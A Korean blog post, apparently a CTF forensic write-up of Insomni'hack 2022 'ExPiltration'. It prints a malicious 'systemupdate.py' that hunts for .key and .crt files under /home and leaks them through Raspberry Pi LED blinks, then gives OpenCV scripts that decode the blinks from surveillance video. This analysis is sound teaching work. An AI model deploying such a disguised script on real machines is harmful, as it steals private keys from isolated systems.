ilovechoonsik
[InsomniHack- CTF] ExPiltration 본문
https://www.youtube.com/watch?v=GDfXVGCWWpU
https://sekai.team/blog/insomni-hack-teaser-2022/expiltration/
Insomni'hack teaser 2022 – ExPiltration
Leak data via LED lights.
sekai.team
https://github.com/r41d3r-s3c/writeups/blob/main/2022-insomnihack-teaser/expiltration.md
GitHub - r41d3r-s3c/writeups
Contribute to r41d3r-s3c/writeups development by creating an account on GitHub.
github.com
위 write up 참고!
문제
by Kev1nOh sh$t.. (!) Our network has been compromised and data stored on an air-gaped device stolen but we don't know exactly what has been extracted and how? We have 24/7 video surveillance in the server room and nobody has approched the device.. Here is all I have, could you please give us a hand? forensic-data.zip |
>> 독립망 장치에 저장된 데이터가 도난당함!
정확히 무엇을 어떻게 추출했는지 모름
서버실에 24시간 돌아가는 CCTV가 있고 아무도 장치에 접근하지 않았음
해당 서버 파일과 CCTV 영상 주면서 분석해달라는 문제!
받은 파일의 구조는 이렇게 생김
우선 log 분석
var/log/syslog
보면 systemupdate.py 실행 시 발생하는 에러를 output.txt로 저장? 한다는 내용인 것 같다
output.txt 확인해보려 했으나 존재하지 않음
이제 systemupdate.py를 보자!
forensic-data/storage/usr/bin/systemupdate.py
import os
import time
import binascii
DELAY = 0.05
def init_leds():
os.system("echo none > /sys/class/leds/led0/trigger")
os.system("echo none > /sys/class/leds/led1/trigger")
def restore_leds():
os.system("echo mmc0 > /sys/class/leds/led0/trigger")
os.system("echo default-on > /sys/class/leds/led1/trigger")
def text_to_bits(text, encoding='utf-8', errors='surrogatepass'):
bits = bin(int(binascii.hexlify(text.encode(encoding, errors)), 16))[2:]
return bits.zfill(8 * ((len(bits) + 7) // 8))
def exfiltrate(data):
stream = text_to_bits(data)
for b in stream:
if b=='0':
os.system("echo 0 > /sys/class/leds/led0/brightness")
else:
os.system("echo 1 > /sys/class/leds/led0/brightness")
time.sleep(DELAY)
os.system("echo 1 > /sys/class/leds/led1/brightness")
time.sleep(DELAY)
os.system("echo 0 > /sys/class/leds/led1/brightness")
time.sleep(DELAY)
def find_scret_file(path):
files = []
for r, d, f in os.walk(path):
for file in f:
if '.key' in file or '.crt' in file:
files.append(os.path.join(r, file))
for f in files:
print("[+] Secret file discovered ({0}).. starting exfiltration".format(f))
with open(f, 'r') as h:
data = h.read()
exfiltrate(data)
def main():
init_leds()
find_scret_file("/home")
restore_leds()
if __name__ == '__main__':
main()
중요한 함수 3개
find_scret_file()
인자로 받은 경로의 파일들을 탐색 > .key(개인키) .crt(인증서) 파일을 발견하면
해당 파일의 내용을 읽어와 data 변수에 넣고 exfiltrate()에 인자로 줌
exfiltrate()
find_scret_file()에서 받은 인자인 data를 text_to_bits()에 인자로 줘서 리턴 받은 뒤
리턴 값을 for문으로 돌려 led 출력
text_to_bits()
exfiltrate()로부터 받은 text형태인 data를 바이너리 형태로 변환하여 리턴
>> 시스템의 인증서, 개인키 파일을 찾아 해당 내용을 바이너리 형태로 변환하여 led를 통해 유출
키와 인증서를 systemupdate.py에 나와있는 /home 경로에서 확인해보고 싶었지만 이미 전부 사라진 상황
(요기서 home/pi 폴더 구조를 보고 라즈베리 파이인걸 알 수 있음)
(1) 홈
파이에 로그인하여 터미널 창을 열거나, 그래픽 사용자 인터페이스가 아닌 명령행으로 부트할 때의 시작 위치는 홈(home) 폴더입니다. 사용자명이 `pi`라고 하면 홈 폴더는 ...
wikidocs.net
따라서 받은 영상의 led 분석을 통해 알아내야 함!!
우선 라즈베리 파이의 led 관련 자료 찾아보기
https://mlagerberg.gitbooks.io/raspberry-pi/content/5.2-leds.html
5.2 Control LEDs · Raspberry Pi Guide
mlagerberg.gitbooks.io
보면
# Red LED indicates enough power:
echo input | sudo tee /sys/class/leds/led1/trigger
# Green LED indicates memory:
echo mmc0 | sudo tee /sys/class/leds/led0/trigger
led1 = Red
led0 = Green
# LED off
echo 0 | sudo tee /sys/class/leds/led1/brightness
# LED on
echo 1 | sudo tee /sys/class/leds/led1/brightness
echo 0 = LED off
echo 1 = LED on
이제 Green, Red led를 규칙에 의해 키고 끄는 exfiltrate() 함수를 분석해보면
def exfiltrate(data):
stream = text_to_bits(data)
for b in stream:
if b=='0':
os.system("echo 0 > /sys/class/leds/led0/brightness")
else:
os.system("echo 1 > /sys/class/leds/led0/brightness")
time.sleep(DELAY)
os.system("echo 1 > /sys/class/leds/led1/brightness")
time.sleep(DELAY)
os.system("echo 0 > /sys/class/leds/led1/brightness")
time.sleep(DELAY)
if문을 통해 우리가 알아내야 하는 유출된
.key, .crt 파일의 내용을 표현하는 것은 초록 LED 이구
바이너리 0 >> 초록 LED OFF
바이너리 1 >> 초록 LED ON
인 것을 알 수 있음!
이후에 빨간 LED는
초록 LED의 ON, OFF 여부에 관계없이
0.05초의 DELAY를 가지며
무조건 켜졌다 꺼지게 되어있는데
직접 실험을 해보면
따라서 LED 분석하는 코드 작성 시 위 규칙에 의해
초록 빨강 LED 동시에 ON
>> 1
빨강 LED 하나만 ON
>> 0
으로 표현할 수 있음!!
여기까지의 규칙을 적용하여 코드를 작성해보면
import cv2
import numpy as np
video = cv2.VideoCapture('1.mp4')
video.set(cv2.CAP_PROP_POS_FRAMES, 25170) # 7*60*60
red_led_on = False
while True:
ret, frame = video.read()
cv2.imshow('Frames', frame)
# Red led location: 736, 552
# Green led location: 718, 553
if frame[552,736][0] < 150: # red_led = off
red_led_on = False
else:
if red_led_on == False: # red_led = on
if frame[552, 718][0] > 150: # green_led = on
# red, green led on = print 1
print("1")
else:
print("0")
red_led_on = True
if cv2.waitKey(100) & 0xFF == ord('q'): # frame 조절
break
이런 식!! (좌표값은???? 위쪽 라즈베리 파이 사진을 보면 알 수 있듯이 우분투에서 opencv에 대한 frame사용 시 마우스 포인터에 대한 좌표 알 수 있음!)
실행해보면 led에 의해 바이너리 값 출력되는 걸 볼 수 있다!
요기서 3byte 만 가져와서 decode 해보면
--- 이 나오는 걸 알 수 있는데
우리가 위 코드를 통해 최종적으로 key, crf 관련 내용을 보게 될 것이므로 관련 내용으로 검색해보면
https://zerous0.tistory.com/12
[OpenSSL/RSA] RSA Private key와 Public key 나누기!!(Serialization)
[OpenSSL/RSA] RSA Private key와 Public key 나누기!! RSA에서 암호화 하기위해 공유키와 개인키를 각각 분리하기위해 아래의 3가지 과정을 거친다. 여기서 잠깐!!! Q. 왜 굳이 공유키와 개인키를 분리 할까
zerous0.tistory.com
RSA에서의 "---" 과 같다는 걸 알 수 있다!!
이제 바이너리 데이터가 잘 뽑히는 걸 알았으니
해당 데이터를 8bit 단위로 끊어 변환, 출력하는 코드를 작성
import cv2
import numpy as np
video = cv2.VideoCapture('1.mp4')
video.set(cv2.CAP_PROP_POS_FRAMES, 25170) # 7*60*60
red_led_on = True
b = 0
flag = ""
count = 0
while True:
ret, frame = video.read()
cv2.imshow('Frames', frame)
# Red led location: 736, 552
# Green led location: 718, 553
if frame[552,736][0] < 150: # red_led = off
red_led_on = False
else:
if red_led_on == False: # red_led = on
if frame[552, 718][0] > 150: # green_led = on
b = b << 1 | 1 # shift bits to the left and add 1
else:
b = b << 1 | 0
count += 1
if count == 8:
flag += chr(b)
print(flag)
b = 0
count = 0
red_led_on = True
if cv2.waitKey(5) & 0xFF == ord('q'): # frame 조절
break
https://076923.github.io/posts/Python-opencv-4/
Python OpenCV 강좌 : 제 4강 - 비디오 출력
비디오 출력
076923.github.io
https://laboputer.github.io/machine-learning/2020/04/25/numpy-quickstart/
넘파이(Numpy) 사용법 알아보기
넘파이 공식홈페이지 Quickstart tutorial에서 소개된 사용법을 따라하면서 정리한 글입니다. 실습해보면서 처음 시작하시는 분들도 이해할 수 있도록 설명을 추가하였으니 도움되시길 바랍니다.
laboputer.github.io
https://colossus-java-practice.tistory.com/19
[Chapter 2 연산자] 6. 비트 연산자 - 시프트 연산자 (Shift Operator)
지금까지 다양한 연산자들에 대해서 알아보고 있다. 연산자의 종류는 엄청나게 다양하지만 의외로 우리들이 알고 있는 연산자들도 많고 생각보다 쉬운 연산자들도 더러 있었다. 그런데 이번 시
colossus-java-practice.tistory.com
ㄴ연습
개인키와 인증서가 나오는데 해당 내용을 Base64로 디코딩하면
flag 있음!
+ RGB 이용한 코드
import cv2
import tqdm
import bitstring
def rgb_to_luminance(r, g, b):
return 0.2126 * r + 0.7152 * g + 0.0722 * b
vidcap = cv2.VideoCapture('1.mp4')
with tqdm.tqdm(total=vidcap.get(cv2.CAP_PROP_FRAME_COUNT)) as t:
success, image = vidcap.read()
t.update(1)
led0 = []
led1 = []
while success:
led0.append(rgb_to_luminance(*image[550][717]))
led1.append(rgb_to_luminance(*image[550][735]))
success, image = vidcap.read()
t.update(1)
bits_raw = []
start = 0
end = 0
threshold = 210
is_on = True
for i in range(len(led0)):
if is_on and led1[i] < threshold:
is_on = False
end = i
bits_raw.append(sum(led0[start:end]) / (end - start))
elif not is_on and led1[i] > threshold:
is_on = True
start = i
bits = [0 if i < threshold else 1 for i in bits_raw]
b = bitstring.BitArray(bin="".join(map(str, bits[1:])))
print(b.bytes.decode())
'Digital Forensic - CTF 🚩 > [InsomniHack- CTF]' 카테고리의 다른 글
[InsomniHack- CTF] AndroNotes (0) | 2022.02.01 |
---|